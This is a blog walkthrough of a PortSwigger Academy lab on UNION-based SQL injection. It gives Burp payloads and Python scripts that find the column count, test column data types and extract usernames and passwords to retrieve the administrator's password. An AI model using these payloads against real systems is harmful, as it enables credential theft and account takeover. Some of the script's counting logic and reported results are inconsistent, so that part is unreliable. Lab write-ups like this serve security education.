SQLi Vulnerabilities: Lab 5: SQL injection UNION attack, retrieving data from other tables | Bloodstiller: Ethical Hacking & Active Directory Security Blog

Lab 5: SQL injection UNION attack, retrieving data from other tables:

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you need to combine some of the techniques you learned in previous labs.

The database contains a different table called users, with columns called username and password.

To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.

Initial Reconnaissance/Discovery:

We are given access to a simple web application which allows us to filter categories of products using the filters on the page, there is also a “My account” section.

We already know the “category” parameter is vulnerable based on the previous lab however let’s re-verify this.

Establishing SQLi:

If we send request to repeater we can inject a single quote ' after the parameter and see we trigger a 500 response.

If then add a single another quote we can see that the page returns a 200 OK response.

Inferring The SQL Query Being Run:

Looking at the way the page we can infer the query being run is similar to the below.

SELECT * FROM products WHERE category = 'Pets' AND [rest of query]

When we add our single quote it becomes the below which is syntactically incorrect.

SELECT * FROM products WHERE category = 'Pets'' AND [rest of query]

However when we add another quote it becomes the below, closing off the first quotation mark we provided.

SELECT * FROM products WHERE category = 'Pets''' AND [rest of query]

UNION SELECT Requirements:

As the lab wants us to retrieve data using a UNION SELECT query we also need to ensure that the two requirements for this attack are met:

The queries must return the same amount of columns: This means that if the original query that is searching the database returns 5 columns our UNION query must also return 5 columns.
- To solve this issue: We will enumerate the number of columns being returned by the original query.
The data types in the columns must be compatible with each query: This means that if the table is returning strings such as item names in column 1 our UNION query has to also return strings or a compatible data type.
- To solve this issue: Initially we will use a simple method of returning NULL values. This is because NULL is convertible/compatible to every data type, so it will mean that the payload should succeed. Once we have established our column count we will then start enumerating the data type of the columns & eventually extract data.

Establishing The Number Of Columns Using UNION SELECT Statement:

Using Burp:

In order for us to display data we need to establish how many columns are in the existing database we easily do this in burp.

If we return back to repeater we can enter the payload

' UNION SELECT NULL--

We then select the payload & press CTRL+U to URL encode it.

If we send this payload we get a 500 response meaning the number of columns is not correct, so add another NULL so our payload and repeat the process.

' UNION SELECT NULL,NULL--

This time we get a 200 response so we know this particular table has 2 columns.

~~Note~~: If we navigate to the browser and paste the payload in we can see it renders correctly however no products are displayed this is due to the fact that we are commenting out the remainder of the legitimate SQL query and this appears to be responsible for pulling the products for display.

Using Python:

As usual I am going to show how this can also be solved using Python.

Prep The Certificate:

If you want to proxy traffic through burp this is mandatory.

Open burp’s in built web browser and go to http://burpsuite & download the certificate by clicking on “CA Certificate” button on the top right corner.

Convert the certificate to the .pem format so the python requests module can use it.

openssl x509 -inform der -in certificate.cer -out certificate.pem

Imports:

First we import the modules we will need, requests & os. We also suppress the requests warning that will show.

import requests
import os
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

If we didn’t suppress the warnings the output would look like this.

Proxy Setup:

Now we declare our proxy so we can push all our traffic through burp, we also pass in the converted certificate.

proxy = 'http://127.0.0.1:8080'
os.environ['HTTP_PROXY'] = proxy
os.environ['HTTPS_PROXY'] = proxy
os.environ['REQUESTS_CA_BUNDLE'] = "certificate.pem"

Variable Declaration:

Proxies & URL:

We declare an array of proxies to proxy our requests through as well as the unique url & category endpoint. ~~Note~~: The category and URL vary from instance to instance.

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url="https://0aa9007a0350e042804fee0b002f0021.web-security-academy.net/filter?category=Gifts"

SQL Syntax & Counters:

So now we have our payload broken up into various elements, the reason for this is because we don’t want to just supply a list of multiple UNION SELECT statements, doing it this way offers more flexibility as well as ensuring we don’t repeat ourselves, it also means we could check databases with thousands of columns and it would still work.(I wouldn’t advise that but you could)
```
union="' UNION SELECT "
comma=","
nullPayload="NULL"
comment="--"
additionalNull=comma+nullPayload
payload=union+nullPayload
counter=2
```
We also create a counter variable and set it to 2. This counter is used to track how many NULL values (columns) are in our UNION SELECT payload as we build it. Our starting payload is:
```
payload = union + nullPayload # "' UNION SELECT NULL"
```
So before the loop runs we already have one NULL in the query. Inside the loop, we keep appending more ,NULL values to payload and update counter to reflect the number of columns.

We don’t start the counter at 0 because SQL columns are conceptually counted from 1 (first column, second column etc…) and our payload already includes the first NULL column. If we started from 0, the value of counter would always lag behind the actual number of NULL columns in the query. By starting at 2, the value of counter stays aligned with the true column count once we begin adding additional NULL values in the loop.

For Loop With Request:

We declare a for loop will which repeat for 10 total iterations.

Then we have a try block which will send our get request to the url with payload & comment.

Response Monitoring: We then monitor the responses and if the value “My account” is found in the body of the response we will:

Print the string "Valid payload {payload}-- there are {counter} columns." which will contain the actual payload as well as the number of columns.
Print the full Lab URL including comment and payload so we can easily verify it in a browser.

If these above conditions are met it will break out of the loop and stop the process.

If the above is not found it will add an additional NULL value using the additionalNull variable to the payload & increment the counter by 1 and continue.

for i in range(10):
    try:
        request=requests.get(url + payload + comment, proxies=proxies, verify=False, timeout=3)
        if 'My account' in request.text:
           print("---")
           print(f"Valid payload {payload}-- there are {counter} columns.")
           print(f"Lab Url: {url+payload+comment}")
           print("---")
           break
        payload=payload+additionalNull
        counter+=i

Error Handling:

These except clauses are used for error handling to ensure if an error is encountered they are logged to the terminal and the process continues.

    except requests.exceptions.HTTPError as errh:
        print ("Http Error:",errh)
    except requests.exceptions.ConnectionError as errc:
        print ("Error Connecting:",errc)
    except requests.exceptions.Timeout as errt:
        print ("Timeout Error:",errt)
    except requests.exceptions.RequestException as err:
        print ("OOps: Something Else",err)

Full Script:

#!/usr/bin/env python3
import requests
import os
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
proxy = 'http://127.0.0.1:8080'
os.environ['HTTP_PROXY'] = proxy
os.environ['HTTPS_PROXY'] = proxy
os.environ['REQUESTS_CA_BUNDLE'] = "certificate.pem"

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url="https://0aa9007a0350e042804fee0b002f0021.web-security-academy.net/filter?category=Gifts"

union="' UNION SELECT "
comma=","
nullPayload="NULL"
comment="--"
additionalNull=comma+nullPayload
payload=union+nullPayload
counter=2

for i in range(10):
    try:
        request=requests.get(url + payload + comment, proxies=proxies, verify=False, timeout=3)
        if 'My account' in request.text:
           print("---")
           print(f"Valid payload {payload}-- there are {counter} columns.")
           print(f"Lab Url: {url+payload+comment}")
           print("---")
           break
        payload=payload+additionalNull
        counter+=i

    except requests.exceptions.HTTPError as errh:
        print ("Http Error:",errh)
    except requests.exceptions.ConnectionError as errc:
        print ("Error Connecting:",errc)
    except requests.exceptions.Timeout as errt:
        print ("Timeout Error:",errt)
    except requests.exceptions.RequestException as err:
        print ("OOps: Something Else",err)

Running The Script:

As we can see it tells what we expect, there are 3 columns and the correction payload is:

' UNION SELECT NULL,NULL--

Establishing Column Data Type VIA UNION SELECT Statement:

Using Burp:

Much like how we established the number of columns we can use repeater to determine the column data type.

We know to pass the lab we need to extract the administrators username & password, then login. Typically usernames and passwords would be a string data type in the database. So to enumerate this we will systematically start replacing the NULL values of our payload with the string values 'a'. This means our payload becomes:

'+UNION+SELECT+'a',NULL--
'+UNION+SELECT+NULL,'a'--
'+UNION+SELECT+'a','a'--

~~Note~~: We know we are looking to extract two string values and the table has two columns so it’s pretty easy to infer the solution is the last payload above, however let’s go through the motions for comprehensiveness.

As we can the first column is compatible with the string datatype.

We now modify our payload so the string value is in the second NULL position and revert the first position to be NULL again.

'+UNION+SELECT+NULL,'a'--

We can see this worked again.

This means that both columns are compatible with string datatypes (as to be expected) so the final payload below is also valid

'+UNION+SELECT+'a','a'--

Using Python:

We can also do this in python by adding to our initial script. I have placed this in a diff block so you can see what we have added.

+compatible=0

for i in range(10):
    try:
        request=requests.get(url + payload + comment, proxies=proxies, verify=False, timeout=3)
        if 'My account' in request.text:
           print("---")
           print(f"Valid payload {payload}-- there are {counter} columns.")
           print(f"Lab Url: {url+payload+comment}")
           print("---")
+          payloadList=[nullPayload] * counter
+          for y in range(len(payloadList)):
+              if payloadList[y] == "NULL":
+                  payloadList[y] = "'string'"
+                  newPayload=(",".join(payloadList))
+                  request=requests.get(url + union + newPayload + comment, proxies=proxies, verify=False, timeout=3)
+                  if 'My account' in request.text:
+                      print(f"Compatible data type found {union+newPayload+comment}")
+                      compatible+=1
+                      if compatible > 1:
+                          print(f"{compatible} compatible data type columns found, suggest combining payloads")
+                  payloadList[y] = "NULL"

        payload=payload+additionalNull
        counter+=i

Compatible Variable: This is going to be used later on to print out a specific message if we find more than 1 compatible data type column so at the moment we set this with a value of 0.

compatible=0

List Creation: We then create a payloadList that’s contents is the value of nullPayload (which is “NULL”) and this is equal to the value of the counter so if the counter is 2 then the list value is ['NULL', 'NULL']

payloadList=[nullPayload] * counter

List Iteration:

if payloadList[y] == "NULL":
   payloadList[y] = "'string'"

We now iterate through the length of the list and if the value of y in the list is equal to NULL (which it will be) we replace that with the with a string called string. So on the first run it would ['string', NULL].

New Payload Creation:

newPayload=(",".join(payloadList))

We then join our list together into a string so we can pass this to our request later, and we ensure we separate with a comma , other wise our payload would be "'string'NULLNULL"

Send our Request:

request=requests.get(url + union + newPayload + comment, proxies=proxies, verify=False, timeout=3)
if 'My account' in request.text:
    print(f"Compatible data type found {union+newPayload+comment}")

Next we send our request like before but this time we are using our new payload. We also need to ensure we send the "union" variable as this is not currently present in our list/string/payloadstring.

We also perform the same type of check in the body of the request for the string “My account” which will signify that we have had a 200 OK response, and in this event it will print out the payload.

Compatible Logic Counter: If the above conditions are met we increment our compatible counter by 1. We then perform a check if the counter is greater than 1 and if it is we print out the total number of compatible data types found and suggest the user combine the payloads.

compatible+=1
if compatible > 1:
    print(f"{compatible} compatible data type columns found, suggest combining payloads")

Reset The NULL Value:

payloadList[y] = "NULL"

In the event that we do not get a 200 response we rest the list position y to be NULL again as other wise the list would just be full of the lab string.

As we can see when we run the script it prints out the compatible data type fields in position 1 & 2 and also suggests we combine the payloads as they are both valid.

Extracting Column Data VIA UNION SELECT Statement:

Using Burp:

As we know there is a “users” table that has a “username” & “password” column this means we now append our additional UNION query below to display the contents for each column.

' UNION SELECT username, password FROM users--

We URL encode it by pressing CTRL+U when the text is highlighted

We can see this works and the username & passwords for users are displayed with the existing content.

We can now login as the administrator to solve the lab.

Using Python:

We can also use python to extract the administrators password directly too.

Additional Import: For us to parse and extract the administrators password we need the BeautifulSoup library.

from bs4 import BeautifulSoup

def extractSQLusers():
    sqlPayload="' UNION SELECT username, password FROM users--"
    request=requests.get(url + sqlPayload, proxies=proxies, verify=False, timeout=3)
    response=request.text
    if "administrator" in response:
        soup = BeautifulSoup(request.text, 'html.parser')
        administratorPass= soup.body.find(string='administrator').parent.find_next('td').contents[0]
        print(f"The administrator password is: {administratorPass}")
        return True
    return False

Function definition & payload First we define the function called extractSQLusers We then declare our sqlPayload.

def extractSQLusers():
    sqlPayload="' UNION SELECT username, password FROM users--"

Send a request & store the response: We send our payload and store the response in a variable called response.

request=requests.get(url + sqlPayload, proxies=proxies, verify=False, timeout=3)
response=request.text

Parse response:

if "administrator" in response:
    soup = BeautifulSoup(request.text, 'html.parser')
    administratorPass= soup.body.find(string='administrator').parent.find_next('td').contents[0]
    print(f"The administrator password is: {administratorPass}")

If we find the string “administrator” in the response this tells us the table of users has been returned.

We pass the HTML body from the HTTP response into beautiful soups HTML parser so it can turn the raw HTML into a structured object we can search through. If we look at this RAW HTML we can see that the username is stored with the th tags & the password is stored with the td tags.

We then set the administratorPass variable by find the text node “administrator”, taking it’s parent element th (this contains the username) and finding the next td element in the row that contains the password, we then grab the first child element of this contents[0] which contains the password string.

Call the Function: We now call the function so it runs after our other conditions are satisfied.

  if 'My account' in request.text:
      print(f"Compatible data type found {union+newPayload+comment}")
      compatible+=1
      if compatible > 1:
          print(f"{compatible} compatible data type columns found, suggest combining payloads")
+         extractSQLusers()
  payloadList[y] = "NULL"

As we can see it works when we run it and we are given the administrators password.

Whole Script:


#!/usr/bin/env python3
import requests
import os
import urllib.parse
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
from bs4 import BeautifulSoup
proxy = 'http://127.0.0.1:8080'
os.environ['HTTP_PROXY'] = proxy
os.environ['HTTPS_PROXY'] = proxy
os.environ['REQUESTS_CA_BUNDLE'] = "certificate.pem"
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

url="https://0a7700c8038598da8195211100370065.web-security-academy.net/filter?category=Gifts"

union="' UNION SELECT "
comma=","
nullPayload="NULL"
comment="--"
additionalNull=comma+nullPayload
payload=union+nullPayload
counter=2
compatible=0

def extractSQLusers():
    sqlPayload="' UNION SELECT username, password FROM users--"
    request=requests.get(url + sqlPayload, proxies=proxies, verify=False, timeout=3)
    response=request.text
    if "administrator" in response:
        soup = BeautifulSoup(request.text, 'html.parser')
        administratorPass= soup.body.find(string='administrator').parent.find_next('td').contents[0]
        print(f"The administrator password is: {administratorPass}")
        return True
    return False

for i in range(10):
    try:
        request=requests.get(url + payload + comment, proxies=proxies, verify=False, timeout=3)
        if 'My account' in request.text:
           print("---")
           print(f"Valid payload {payload}-- there are {counter} columns.")
           print(f"Lab Url: {url+payload+comment}")
           print("---")
           payloadList=[nullPayload] * counter
           for y in range(len(payloadList)):
               if payloadList[y] == "NULL":
                   payloadList[y] = "'string'"
                   newPayload=(",".join(payloadList))
                   request=requests.get(url + union + newPayload + comment, proxies=proxies, verify=False, timeout=3)
                   if 'My account' in request.text:
                       print(f"Compatible data type found {union+newPayload+comment}")
                       compatible+=1
                       if compatible > 1:
                           print(f"{compatible} compatible data type columns found, suggest combining payloads")
                           extractSQLusers()
                   payloadList[y] = "NULL"

        payload=payload+additionalNull
        counter+=i

    except requests.exceptions.HTTPError as errh:
        print ("Http Error:",errh)
    except requests.exceptions.ConnectionError as errc:
        print ("Error Connecting:",errc)
    except requests.exceptions.Timeout as errt:
        print ("Timeout Error:",errt)
    except requests.exceptions.RequestException as err:
        print ("OOps: Something Else",err)